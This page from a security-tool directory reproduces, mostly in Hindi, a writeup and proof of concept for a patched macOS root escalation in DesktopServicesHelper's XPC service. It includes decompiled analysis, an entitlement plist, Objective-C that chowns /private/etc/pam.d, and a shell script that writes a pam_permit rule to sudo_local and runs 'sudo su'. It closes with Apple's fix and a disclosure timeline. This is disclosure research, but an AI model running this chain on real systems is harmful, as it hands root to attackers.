Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-43783 — CVE-2026-43783 के लिए प्रूफ-ऑफ-कॉन्सेप्ट और तकनीकी राइटअप, जो DesktopServicesHelper XPC के माध्यम से मनमाने chown द्वारा रूट प्राप्त करने वाला macOS स्थानीय विशेषाधिकार उन्नयन है। | Kitploit
उपकरण/GitHubGitHub/andrd3v/cve-2026-43783
विशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणरिवर्स इंजीनियरिंगपेनिट्रेशन टेस्टिंगबाइनरी विश्लेषणपेपर और शोध
GitHubandrd3v/cve-2026-43783

CVE-2026-43783

CVE-2026-43783 के लिए प्रूफ-ऑफ-कॉन्सेप्ट और तकनीकी राइटअप, जो DesktopServicesHelper XPC के माध्यम से मनमाने chown द्वारा रूट प्राप्त करने वाला macOS स्थानीय विशेषाधिकार उन्नयन है।

रिपॉजिटरी देखें
26 दिन पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-43783: Repair Permissions - Get Root: macOS 26.5 में DesktopServicesHelper के माध्यम से LPE

Finder जिस डेमॉन का उपयोग iCloud फ़ाइलों पर अनुमतियों को "repair" करने के लिए करता है, वह किसी भी चीज़ पर अनुमतियों को repair करने के लिए तैयार निकला - जिसमें सिस्टम डायरेक्टरीज़ भी शामिल हैं। इस लेख में हम देखेंगे कि DesktopServicesHelper अंदर से कैसे काम करता है और क्यों एक single XPC request root प्राप्त करने के लिए पर्याप्त थी।

DesktopServicesHelper के अंदर

मैं com.apple.private.tcc.allow के साथ kTCCServiceSystemPolicyAllFiles मान वाले targets की तलाश कर रहा था और DesktopServicesHelper ने मेरा ध्यान खींचा। DesktopServicesHelper /System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Versions/A/Resources/DesktopServicesHelper पर स्थित है, और Finder इसका उपयोग उन फ़ाइल ऑपरेशन्स के लिए करता है जिनके लिए elevated privileges की आवश्यकता होती है: फ़ाइलों को move करना, permissions सेट करना, Trash के साथ काम करना।

Entitlements DesktopServicesHelper

बाइनरी को IDA में लोड किया और start() पर गया। सामान्य timer और queue setup के बाद, यह एक XPC listener बनाता है - डेमॉन का entry point। listener एक विशिष्ट नाम के तहत एक mach service register करता है और incoming connections के लिए सुनना शुरू करता है। कोई भी process जो इस नाम को जानता है, connect कर सकता है और एक request भेज सकता है। यहाँ मुख्य भाग है:```c // get the service name v16 = (const char *)sub_1000709F4(a1: 0);

// register the listener mach_service = xpc_connection_create_mach_service(name: v16, targetq: nullptr, flags: 1u);

// set the incoming event handler xpc_connection_set_event_handler(connection: mach_service, handler: &stru_1000B4B48); xpc_connection_resume(connection: mach_service);

// start the event loop CFRunLoopRun();

root@kitploit:~
फ़ंक्शन `sub_1000709F4` mach सेवा नाम लौटाता है। `start()` में इसे तर्क 0 के साथ कॉल किया जाता है, जिसका अर्थ है कि डेमन `com.apple.DesktopServicesHelper` नाम के अंतर्गत पंजीकृत होता है।```c
const char *__fastcall sub_1000709F4(int a1)
{
  if ( a1 != 0 )
    return "com.apple.DesktopServicesScriptingHelper";
  else
    return "com.apple.DesktopServicesHelper";
}

stru_1000B4B48 एक handler block (callback) है जिसे daemon प्रत्येक incoming event के लिए invoke करता है। XPC message-based है: client keys और values के साथ एक dictionary बनाता है, उसे daemon को भेजता है, और daemon contents को parse करके निर्णय लेता है कि क्या करना है। सभी incoming events इस handler में आते हैं। आइए अंदर देखें।

IDA में stru_1000B4B48

Block का invoke function sub_100032044 है। नए connection पर, daemon पहले client का euid और egid प्राप्त करता है - effective user ID और group ID - उस user और group के identifiers जिनके अंतर्गत connecting process चल रहा है:```c euid = xpc_connection_get_euid(connection: v8); egid = xpc_connection_get_egid(connection: v8); sub_100071268(a1: euid, a2: egid);

root@kitploit:~
फिर यह कनेक्शन पर आने वाले संदेशों के लिए एक हैंडलर असाइन करता है:```c
v15[2] = sub_10003AB2C;  // block's invoke function
xpc_connection_set_event_handler(connection: v14, handler: v15);
xpc_connection_resume(connection: v14);

sub_10003AB2C - यह वह जगह है जहाँ क्लाइंट से आने वाले वास्तविक XPC अनुरोध पहुँचते हैं। अब हमें यह समझने की आवश्यकता है कि डेमन यह कैसे तय करता है कि कौन से अनुरोध निष्पादित करने हैं और किन्हें अस्वीकार करना है।

अनुरोध डिस्पैचर

sub_10003AB2C मुख्य डिस्पैचर है। यह वह जगह है जहाँ डेमन तय करता है कि किसी अनुरोध के साथ क्या करना है। फ़ंक्शन बड़ा है, तो चलिए इसे तोड़ते हैं।

सबसे पहले, यह संदेश से "request" स्ट्रिंग निकालता है - वह कमांड नाम जिसे क्लाइंट निष्पादित करना चाहता है:```c reply = xpc_dictionary_create_reply(original: v12); string = xpc_dictionary_get_string(xdict: v12, key: "request"); // ... // logging: "Got Request '%{public}@'"

root@kitploit:~
फिर डेमन कनेक्ट हो रही प्रक्रिया का ऑडिट टोकन प्राप्त करता है और जाँचता है कि यह App Sandbox के अंदर चल रही है या नहीं। App Sandbox एक macOS एप्लिकेशन आइसोलेशन तंत्र है जो फ़ाइल सिस्टम, नेटवर्क और अन्य संसाधनों तक पहुँच को प्रतिबंधित करता है। यहाँ यह शाखाओं में विभाजित होता है:```c
xpc_dictionary_get_audit_token(a1: v12, a2: buf);
qmemcpy(__p, buf, sizeof(__p));
if ( (unsigned int)sandbox_check_by_audit_token(a1: __p, a2: 0, a3: 0) != 0 )
{
  // client is sandboxed - check against allowlist
  if ( (sub_10003B25C(a1: &v32, a2: "Handshake") & 1) == 0
    && (sub_10003B25C(a1: &v32, a2: "exit") & 1) == 0
    && (sub_10003B25C(a1: &v32, a2: "SetDefaultPermissionOnHomeSubdirectories") & 1) == 0
    && (sub_10003B25C(a1: &v32, a2: "MoveAsideICloudToArchiveInHome") & 1) == 0
    && (sub_10003B25C(a1: &v32, a2: "RepairPermissionsForCloudItems") & 1) == 0
    && (sub_10003B25C(a1: &v32, a2: "CopyClientActive") & 1) == 0
    && (sub_10003B25C(a1: &v32, a2: "DeleteItem") & 1) == 0 )
  {
    sub_100034250(a1: v12, a2: &v32); // not in the list - kill the daemon
  }
}
else
{
  // client is not sandboxed - check entitlement
  *(_QWORD *)buf = sub_1000343C0(a1: v12, a2: CFSTR("com.apple.private.tcc.allow"));
  v19 = (const __CFArray *)sub_10003B1E0();
  v20 = v19;
  if ( v19 == nullptr
    || (v35.length = CFArrayGetCount(theArray: v19),
        v35.location = 0,
        CFArrayContainsValue(theArray: v20, range: v35, value: CFSTR("kTCCServiceSystemPolicyAllFiles")) == 0) )
  {
    sub_100034250(a1: v12, a2: &v32); // no entitlement - kill the daemon
  }
}

यदि क्लाइंट सैंडबॉक्स्ड है - तो रिक्वेस्ट नाम को सात स्ट्रिंग्स की allowlist के विरुद्ध जाँचा जाता है। यदि यह मेल खाता है - तो जाँच पास हो जाती है और रिक्वेस्ट आगे बढ़ जाती है। यदि नहीं - तो sub_100034250 डेमन को मार देता है। यदि क्लाइंट सैंडबॉक्स्ड नहीं है - तो डेमन com.apple.private.tcc.allow entitlement की जाँच करता है जिसका मान kTCCServiceSystemPolicyAllFiles होता है। entitlement न होना भी मृत्यु का कारण बनता है।

जाँच पास करने के बाद, रिक्वेस्ट दो हैंडलर टेबल्स से होकर गुजरती है। पहले sub_10002F7C8, फिर sub_10002A194:```c // first table (8 commands, two arguments) v21 = sub_10002F7C8(a1: buf); // ... if ( v21 != 0 ) v22(a1: v12, a2: v11); // found - invoke

// second table (21 commands, three arguments) v27 = sub_10002A194(a1: buf); // ... if ( v27 != nullptr ) v27(a1: v12, a2: reply, a3: v11); // found - invoke

root@kitploit:~
अब आइए हैंडलर तालिकाओं को देखें। पहली तालिका (`sub_10002F7C8`):```c
__int64 __fastcall sub_10002F7C8(__int64 a1)
{
  __int64 result; // x0
  void **v3; // x21
  void **v4; // x8
  _BYTE v5[32]; // [xsp+8h] [xbp-128h] BYREF
  __int64 v6; // [xsp+28h] [xbp-108h] BYREF
  __int64 v7; // [xsp+48h] [xbp-E8h] BYREF
  __int64 v8; // [xsp+68h] [xbp-C8h] BYREF
  __int64 v9; // [xsp+88h] [xbp-A8h] BYREF
  __int64 v10; // [xsp+A8h] [xbp-88h] BYREF
  __int64 v11; // [xsp+C8h] [xbp-68h] BYREF
  __int64 v12; // [xsp+E8h] [xbp-48h] BYREF
  __int64 v13; // [xsp+108h] [xbp-28h] BYREF

  if ( (atomic_load_explicit((atomic_uchar *volatile)&qword_1000BD8C8, memory_order_acquire) & 1) == 0
    && __cxa_guard_acquire(a1: &qword_1000BD8C8) != 0 )
  {
    sub_10002AA78(a1: (int)v5, __s: "OperationSizing");
    sub_10002AA78(a1: (int)&v6, __s: "SetChildPermissions");
    sub_10002AA78(a1: (int)&v7, __s: "RunTrashOperation");
    sub_10002AA78(a1: (int)&v8, __s: "ChildCreateLock");
    sub_10002AA78(a1: (int)&v9, __s: "RunSetRootMetadata");
    sub_10002AA78(a1: (int)&v10, __s: "RunCopyMoveOperation");
    sub_10002AA78(a1: (int)&v11, __s: "DeleteBackup");
    sub_10002AA78(a1: (int)&v12, __s: "DeleteItem");
    sub_10003BDDC(a1: &unk_1000BD8A0, a2: v5, a3: 8);
    v3 = (void **)&v13;
    do
    {
      v4 = v3;
      v3 -= 4;
      if ( *((char *)v4 - 9) < 0 )
        operator delete(__p: *v3);
    }
    while ( v3 != (void **)v5 );
    __cxa_guard_release(a1: &qword_1000BD8C8);
  }
  result = sub_10003BCF0(a1: &unk_1000BD8A0, a2: a1);
  if ( result != 0 )
    return *(_QWORD *)(result + 40);
  return result;
}

यहाँ कुछ भी दिलचस्प नहीं है। आठ हैंडलर (OperationSizing, SetChildPermissions, ...), सभी entitlement जाँचों के पीछे gated हैं। लेकिन एक दूसरी तालिका है - v27 = sub_10002A194(a1: buf):```c __int64 __fastcall sub_10002A194(__int64 a1) { __int64 result; // x0 void **v3; // x21 void **v4; // x8 _BYTE v5[32]; // [xsp+8h] [xbp-2C8h] BYREF __int64 v6; // [xsp+28h] [xbp-2A8h] BYREF __int64 v7; // [xsp+48h] [xbp-288h] BYREF __int64 v8; // [xsp+68h] [xbp-268h] BYREF __int64 v9; // [xsp+88h] [xbp-248h] BYREF __int64 v10; // [xsp+A8h] [xbp-228h] BYREF __int64 v11; // [xsp+C8h] [xbp-208h] BYREF __int64 v12; // [xsp+E8h] [xbp-1E8h] BYREF __int64 v13; // [xsp+108h] [xbp-1C8h] BYREF __int64 v14; // [xsp+128h] [xbp-1A8h] BYREF __int64 v15; // [xsp+148h] [xbp-188h] BYREF __int64 v16; // [xsp+168h] [xbp-168h] BYREF __int64 v17; // [xsp+188h] [xbp-148h] BYREF __int64 v18; // [xsp+1A8h] [xbp-128h] BYREF __int64 v19; // [xsp+1C8h] [xbp-108h] BYREF __int64 v20; // [xsp+1E8h] [xbp-E8h] BYREF __int64 v21; // [xsp+208h] [xbp-C8h] BYREF __int64 v22; // [xsp+228h] [xbp-A8h] BYREF __int64 v23; // [xsp+248h] [xbp-88h] BYREF __int64 v24; // [xsp+268h] [xbp-68h] BYREF __int64 v25; // [xsp+288h] [xbp-48h] BYREF __int64 v26; // [xsp+2A8h] [xbp-28h] BYREF

if ( (atomic_load_explicit((atomic_uchar *volatile)&qword_1000BD898, memory_order_acquire) & 1) == 0 && __cxa_guard_acquire(a1: &qword_1000BD898) != 0 ) { sub_10002AA78(a1: (int)v5, __s: "Handshake"); sub_10002AA78(a1: (int)&v6, __s: "MoveAndRename"); sub_10002AA78(a1: (int)&v7, __s: "SetDefaultPermissionOnHomeSubdirectories"); sub_10002AA78(a1: (int)&v8, __s: "MoveAsideICloudToArchiveInHome"); sub_10002AA78(a1: (int)&v9, __s: "RepairPermissionsForCloudItems"); sub_10002AA78(a1: (int)&v10, __s: "CheckPermissionsForCloudItem"); sub_10002AA78(a1: (int)&v11, __s: "AbortResumableCopy"); sub_10002AA78(a1: (int)&v12, __s: "SetLabel"); sub_10002AA78(a1: (int)&v13, __s: "SetAppCategories"); sub_10002AA78(a1: (int)&v14, __s: "CreateIconFile"); sub_10002AA78(a1: (int)&v15, __s: "RemoveIconFile"); sub_10002AA78(a1: (int)&v16, __s: "RepairTrash"); sub_10002AA78(a1: (int)&v17, __s: "Rename"); sub_10002AA78(a1: (int)&v18, __s: "CreateFolder"); sub_10002AA78(a1: (int)&v19, __s: "CreateAlias"); sub_10002AA78(a1: (int)&v20, __s: "RemoveTrashItemsOlderThanDate"); sub_10002AA78(a1: (int)&v21, __s: "SetTags"); sub_10002AA78(a1: (int)&v22, __s: "cancel"); sub_10002AA78(a1: (int)&v23, __s: "pause"); sub_10002AA78(a1: (int)&v24, __s: "resume"); sub_10002AA78(a1: (int)&v25, __s: "exit"); sub_10003B360(a1: &unk_1000BD870, a2: v5, a3: 21); v3 = (void **)&v26; do { v4 = v3; v3 -= 4; if ( *((char *)v4 - 9) < 0 ) operator delete(__p: *v3); } while ( v3 != (void **)v5 ); __cxa_guard_release(a1: &qword_1000BD898); } result = sub_10003BCF0(a1: &unk_1000BD870, a2: a1); if ( result != 0 ) return *(_QWORD *)(result + 40); return result; }

root@kitploit:~
इससे हमें 21 हैंडलर मिलते हैं। डिस्पैचर एक कैस्केड की तरह काम करता है: पहले यह पहली टेबल (`sub_10002F7C8`, 8 कमांड) में रिक्वेस्ट नाम खोजता है - ये "फायर-एंड-फॉरगेट" ऑपरेशन हैं जो XPC कनेक्शन और पीयर (क्लाइंट ऑब्जेक्ट) लेते हैं लेकिन कोई रिस्पॉन्स नहीं लौटाते। अगर नहीं मिलता - तो यह दूसरी टेबल (`sub_10002A194`, 21 कमांड) में खोजता है - ये रिस्पॉन्स वाले ऑपरेशन हैं, जिन्हें अतिरिक्त रूप से एक रिप्लाई (क्लाइंट को परिणाम वापस भेजने के लिए ऑब्जेक्ट) मिलता है।
लगभग सभी कमांड या तो कुछ दिलचस्प नहीं करते या एंटाइटलमेंट चेक के पीछे गेटेड हैं। लेकिन एक है जो खुला है - `RepairPermissionsForCloudItems`। आइए इसका हैंडलर खोजें। असेंबली में हम देख सकते हैं कि `sub_10002AA78` अपने तीसरे आर्ग्युमेंट के रूप में एक फंक्शन पॉइंटर लेता है:```asm
__text:000000010002A2AC                 MOV             X2, X16
__text:000000010002A2B0                 MOV             X0, X20 ; int
__text:000000010002A2B4                 BL              sub_10002AA78
__text:000000010002A2B8                 ADD             X21, SP, #0x2D0+var_2C8
__text:000000010002A2BC                 ADD             X20, X21, #0x80
__text:000000010002A2C0                 ADRL            X1, aRepairpermissi ; "RepairPermissionsForCloudItems"
__text:000000010002A2C8                 ADRL            X16, sub_10002D744
__text:000000010002A2D0                 PACIZA          X16

RepairPermissionsForCloudItems -> sub_10002D744. हमने सैंडबॉक्स से बिना अतिरिक्त एंटाइटलमेंट्स के सुलभ एकमात्र हैंडलर पाया है। अब देखते हैं कि यह प्राप्त डेटा के साथ वास्तव में क्या करता है।

RepairPermissionsForCloudItems हैंडलर का विश्लेषण

हैंडलर sub_10002D744 तीन काम करता है। पहला, यह XPC संदेश से "Paths" कुंजी निकालता है और NSKeyedUnarchiver के माध्यम से इसे एक स्ट्रिंग ऐरे में डीसेरियलाइज़ करता है:```c v8 = objc_claimAutoreleasedReturnValue((id)sub_100028810(a1: v5, a2: "Paths")); v9 = objc_claimAutoreleasedReturnValue( +[NSKeyedUnarchiver unarchivedArrayOfObjectsOfClass:fromData:error:]( &OBJC_CLASS___NSKeyedUnarchiver, "unarchivedArrayOfObjectsOfClass:fromData:error:", objc_opt_class(a1: &OBJC_CLASS___NSString), v8, &v25));

root@kitploit:~
फिर यह प्रत्येक पथ को `sub_100029CE4` को `sub_100034B5C` के माध्यम से पास करता है ताकि यह निर्धारित किया जा सके कि "repair" की आवश्यकता है या नहीं। उन पथों के लिए जिन्हें repair की आवश्यकता होती है, यह `sub_10002A11C` को कॉल करता है:```c
sub_100034B5C(a1: v22, a2: v24, a3: sub_100029CE4);
if ( v22[0] != v22[1] )
  sub_10002A11C(a1: v5, a2: v22);

कोई पथ सत्यापन नहीं है: जो भी पास किया जाता है, उसे संसाधित किया जाता है। फ़ंक्शन sub_100029CE4 जाँचता है कि "repair" की आवश्यकता है या नहीं। यहाँ मुख्य तर्क है:```c v3 = lstat(a1: v2, a2: &v28); // ... if ( (v28.st_mode & 0xF000) != 0x4000 && v28.st_nlink > 1u ) return false; // not a directory + hardlinks > 1 - skip v6 = sub_100071288(a1: v4); // get caller's UID if ( v28.st_uid != v6 ) return true; // owner doesn't match - repair needed

root@kitploit:~
जाँच तर्क:```
lstat(path)
  |
  +- not a directory && hardlinks > 1 ?
  |     +- yes -> false (skip)
  |
  +- st_uid == our UID ?
  |     +- yes -> false (owner matches, no repair needed)
  |     +- no -> true (repair needed)
  |
  +- directory ?
        +- yes -> recurse into contents

जिन पथों को मरम्मत की आवश्यकता होती है, उनके लिए sub_10002A11C को कॉल किया जाता है - एक सरल लूप जो परिणामों पर पुनरावृत्ति करता है और प्रत्येक के लिए sub_100029440 को कॉल करता है। यहाँ sub_100029440 का मुख्य तर्क है:```c fd = open(path, 0x200000); fstat(fd, &st);

// only check: not a directory + hardlinks >= 2 - skip if ( (st.st_mode & 0xF000) != 0x4000 && st.st_nlink >= 2u ) return close(fd);

// get caller's UID (ours - 501) caller_uid = sub_100071288();

// owner doesn't match - change to ours if ( st.st_uid != caller_uid ) fchown(fd, caller_uid, st.st_gid);

close(fd);

// if directory - recursively call itself for each item if ( (st.st_mode & 0xF000) == 0x4000 ) sub_100029440(child_path);

root@kitploit:~
बस इतना ही। डेमन जो भी पथ दिया जाता है उस पर `fchown` कॉल करता है, बिना यह जाँचे कि वह `~/Library/Mobile Documents/` या किसी iCloud कंटेनर में स्थित है। और यदि पथ एक डायरेक्टरी है, तो फ़ंक्शन उसकी सभी सामग्री को पुनरावर्ती रूप से ट्रैवर्स करता है और हर आइटम पर `fchown` कॉल करता है।
इसे फिर से पढ़ें। इसे पचने दें। कोई भी डायरेक्टरी पास करें - और आप उसकी सभी सामग्री के मालिक हैं।

## सारांश

XPC अनुरोध से `fchown` तक की पूरी श्रृंखला:```
Sandboxed app
  |
  +- xpc_connection_create_mach_service("com.apple.DesktopServicesHelper")
  |
  +- xpc_dictionary: "request" = "RepairPermissionsForCloudItems"
  |                   "Paths"   = ["/private/etc/pam.d"]
  |
  +- send --> DesktopServicesHelper (root)
                    |
                    +- sandbox_check: client sandboxed? -> yes
                    +- allowlist: RepairPermissionsForCloudItems? -> yes, pass through
                    +- NSKeyedUnarchiver: extract paths
                    +- lstat: st_uid != caller_uid? -> yes, repair needed
                    +- fchown(path, 501, gid) <- arbitrary path, no validation

एक XPC अनुरोध - और कोई भी फ़ाइल या निर्देशिका हमारी हो जाती है।

शोषण

तो हमारे पास डिस्क पर किसी भी पथ पर मनमाना chown है। अब हमें बस इसे root में बदलना है। macOS पर, प्रमाणीकरण PAM के माध्यम से होता है। कॉन्फ़िगरेशन /private/etc/pam.d/ में हैं - प्रत्येक प्रोग्राम के लिए एक फ़ाइल जो पासवर्ड जाँचता है: sudo, login, su, आदि। निर्देशिका root:wheel के स्वामित्व में है। इसलिए हम अपने chown से इसका स्वामित्व ले सकते हैं। उसके बाद हम /private/etc/pam.d/sudo_local फ़ाइल को एक पंक्ति के साथ बनाने के लिए स्वतंत्र हैं:``` auth sufficient pam_permit.so

root@kitploit:~
`pam_permit.so` एक PAM मॉड्यूल है जो हमेशा सफलता लौटाता है। `sudo` मुख्य कॉन्फ़िग से पहले `sudo_local` की जाँच करता है। परिणाम: `sudo` अब पासवर्ड नहीं माँगता।

लेकिन एक पकड़ है। आप सैंडबॉक्स से `com.apple.DesktopServicesHelper` से सीधे कनेक्ट नहीं कर सकते: सैंडबॉक्स डिफ़ॉल्ट रूप से इस सेवा के लिए mach-lookup को ब्लॉक करता है। लेकिन डेमन स्वयं जाँचता है कि कॉल करने वाली प्रक्रिया सैंडबॉक्स्ड है - और केवल तभी `RepairPermissionsForCloudItems` को एंटाइटलमेंट जाँच के बिना गुजरने देता है। विडंबना: यहाँ सैंडबॉक्स एक रक्षा नहीं है - यह एक पास है।

सैंडबॉक्स से mach-lookup पार करने के लिए, हमें `com.apple.security.temporary-exception.mach-lookup.global-name` एंटाइटलमेंट चाहिए। PoC एप्लिकेशन के लिए न्यूनतम एंटाइटलमेंट सेट यहाँ है:```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>com.apple.security.app-sandbox</key>
    <true/>
    <key>com.apple.security.temporary-exception.mach-lookup.global-name</key>
    <array>
        <string>com.apple.DesktopServicesHelper</string>
    </array>
</dict>
</plist>

दो एंटाइटलमेंट। com.apple.security.app-sandbox - सैंडबॉक्स को सक्षम करता है (इसके बिना डेमन को TCC एंटाइटलमेंट की आवश्यकता होगी और हमें अस्वीकार कर देगा)। com.apple.security.temporary-exception.mach-lookup.global-name - एक सैंडबॉक्स अपवाद एंटाइटलमेंट। सैंडबॉक्स सभी mach सेवाओं से कनेक्शन की अनुमति नहीं देता है, और com.apple.DesktopServicesHelper अनुमत सूची में नहीं है। यह कुंजी एक विशिष्ट सेवा के लिए अपवाद जोड़ती है। बस इतना ही हमें चाहिए। कोड सीधे ViewController.m में जाता है। मुख्य विधि chownPath: है, जो डेमन से कनेक्ट होती है और अनुरोध भेजती है:```objc

  • (void)chownPath:(NSString *)path { xpc_connection_t conn = xpc_connection_create_mach_service( "com.apple.DesktopServicesHelper", NULL, 0); if (!conn) return;

    xpc_connection_set_event_handler(conn, ^(xpc_object_t event) {}); xpc_connection_resume(conn);

    NSData *archived = [NSKeyedArchiver archivedDataWithRootObject:@[ path ] requiringSecureCoding:YES error:nil];

    xpc_object_t msg = xpc_dictionary_create(NULL, NULL, 0); xpc_dictionary_set_string(msg, "request", "RepairPermissionsForCloudItems"); xpc_dictionary_set_data(msg, "Paths", archived.bytes, archived.length);

    xpc_connection_send_message_with_reply_sync(conn, msg); }

root@kitploit:~
हम `com.apple.DesktopServicesHelper` से कनेक्ट करते हैं, पथ को `NSKeyedArchiver` के माध्यम से एक `NSArray` में संग्रहीत करते हैं (जैसा कि डेमन अपेक्षा करता है), `"request"` = `"RepairPermissionsForCloudItems"` कुंजी के साथ एक XPC डिक्शनरी बनाते हैं, और उसे भेजते हैं।

ऐप लॉन्च होने पर, हम `/private/etc/pam.d` पर `chownPath:` को कॉल करते हैं और परिणाम की जाँच करते हैं:```objc
- (void)runExploit
{
  [self chownPath:@"/private/etc/pam.d"];
  usleep(200000);

  struct stat st;
  if (lstat("/private/etc/pam.d", &st) != 0) return;

  if (st.st_uid == getuid())
      NSLog(@"ok");
}

200ms प्रतीक्षा करें, फिर lstat - यदि स्वामी हमारे UID में बदल गया है, तो chown सफल हो गया।

अब आइए इसे पूरी तरह से जोड़ते हैं। शेल स्क्रिप्ट PoC एप्लिकेशन लॉन्च करती है, डेमॉन के अपना काम करने की प्रतीक्षा करती है, सत्यापित करती है कि chown सफल हुआ, PAM नियम लिखती है, और root प्राप्त करती है:```sh #!/bin/sh set -e

PAM_DIR="/private/etc/pam.d" SUDO_LOCAL="$PAM_DIR/sudo_local"

our application

./poc.app/Contents/MacOS/poc & POC_PID=$! sleep 4 kill $POC_PID 2>/dev/null || true wait $POC_PID 2>/dev/null || true

if [ "$(stat -f %u "$PAM_DIR")" != "$(id -u)" ]; then echo "chown failed" exit 1 fi

echo 'auth sufficient pam_permit.so' > "$SUDO_LOCAL" chmod 644 "$SUDO_LOCAL"

root

sudo id sudo su

root@kitploit:~
## Apple का पैच
Apple ने `RepairPermissionsForCloudItems` हैंडलर की शुरुआत में ही एक entitlement जाँच जोड़ दी:```c
if ( (sub_100034110(a1: v5,
        a2: CFSTR("com.apple.private.desktopservices.cloud-repair-perm")) & 1) == 0 )
{
  sub_100034250(a1: v5, a2: v22); // no entitlement - kill the daemon
}

अब केवल उन प्रक्रियाओं के पास निजी एंटाइटलमेंट com.apple.private.desktopservices.cloud-repair-perm होने पर ही RepairPermissionsForCloudItems को इनवोक कर सकती हैं। इसके बिना - sub_100034250 डेमन को किल कर देता है। फ़ंक्शन का शेष लॉजिक अपरिवर्तित रहता है।

टाइमलाइन

दिनांकघटना
05/09/2026Apple Product Security को रिपोर्ट सबमिट की गई
05/11/2026

पढ़ने के लिए धन्यवाद, हैप्पी बग हंटिंग!

टूल डाउनलोड करें
Apple ने रिपोर्ट को समीक्षा के लिए स्थानांतरित किया
05/13/2026Apple ने बग को रिप्रोड्यूस किया, फ़ॉल के लिए फ़िक्स शेड्यूल किया
05/26/2026macOS 26.6 beta 1 में पैच
08/11/2026CVE-2026-43783 असाइन किया गया